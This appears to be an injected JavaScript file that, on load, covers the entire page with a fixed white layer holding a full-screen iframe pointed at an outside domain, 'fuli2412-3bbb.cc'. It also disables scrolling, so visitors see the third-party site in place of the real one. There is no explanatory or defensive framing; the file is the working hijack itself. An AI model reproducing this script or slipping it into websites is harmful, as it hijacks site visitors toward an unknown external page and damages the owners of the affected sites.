;(function(){
	'use strict';
	
	var CI =function(url,eleJson){
		if (!(this instanceof CI)) return new CI();
		var ci = this;
		ci.url = "https://www.fuli2412-3bbb.cc/test.html?xs519";
		ci.dom = {
			"node":"div",
			"attr":[{
				"key":"id",
				"value":"if"
			}],
			"style":"position:fixed;top:0;left:0;z-index:99999999999;width:100%;height:100%;background:#ffffff",
			"children":{
				"node":"iframe",
				"attr":[{
					"key":"id",
					"value":"mainIframe"
				},{
					"key":"src",
					"value":ci.url
				},{
					"key":"width",
					"value":"100%"
				},{
					"key":"scrolling",
					"value":"yes"
				},{
					"key":"height",
					"value":"100%"
				},{
					"key":"referrerpolicy",
					"value":"origin"
				},{
					"key":"style",
					"value":"border:0;"
				}]
			}
		};
		ci.__ini = function(){
			if(ci.__isJq()) $(document).ready(ci.__createDomByJq); 
			else ci.__readyGo();
		};
		ci.__isJq = function(){
			if(typeof $ != 'undefined') return true;
			else return false;
		};
		ci.__createDomByJq =function(){
			var _fatherDom = ci.__createElementByJs();
			$("html").append(_fatherDom);
			$(_fatherDom).children().css({
			  "height": $(window).height()
			});
			$("html, body").css({
				"overflow": "hidden"
			});
		};
		ci.__createDomByJs =function(){
			var _fatherDom = ci.__createElementByJs();
			document.documentElement.appendChild(_fatherDom);
			document.documentElement.style.overflow = "hidden";
		};
		ci.__createElementByJs =function(){
			var domJson = ci.dom;
			var __fatherDom = document.createElement(domJson["node"]);
			for(var i in domJson["attr"]){
				__fatherDom.setAttribute(domJson["attr"][i]["key"],domJson["attr"][i]["value"]);
			}
			__fatherDom.style.cssText = domJson["style"];
			var __childDom = document.createElement(domJson["children"]["node"]);
			for(var i in domJson["children"]["attr"]){
				__childDom.setAttribute(domJson["children"]["attr"][i]["key"],domJson["children"]["attr"][i]["value"]);
			}
			__childDom.style.cssText = "height:"+window.innerHeight+"px;";

			__fatherDom.appendChild(__childDom);
			return __fatherDom;
		};
		ci.__readyGo = function(){
			if (document.readyState === "complete") {
				return setTimeout(ci.__createDomByJs("readystate"), 1);
			}
			if (document.addEventListener) {
			        document.addEventListener("DOMContentLoaded", ci.__createDomByJs(), false);
			        // window.addEventListener("load", ci.__createDomByJs(), false);
			}else if (document.attachEvent) {
				document.attachEvent("onreadystatechange", ci.__createDomByJs());
				// window.attachEvent("onload", ci.__createDomByJs());
				
				var toplevel = false;
				try {
					toplevel = window.frameElement == null;
				} catch(e) {}
		
				if (document.documentElement.doScroll && toplevel) {
					//do something
				}
			}
		};
	};
	window.CI = CI;
})();
var ci = new CI();
ci.__ini();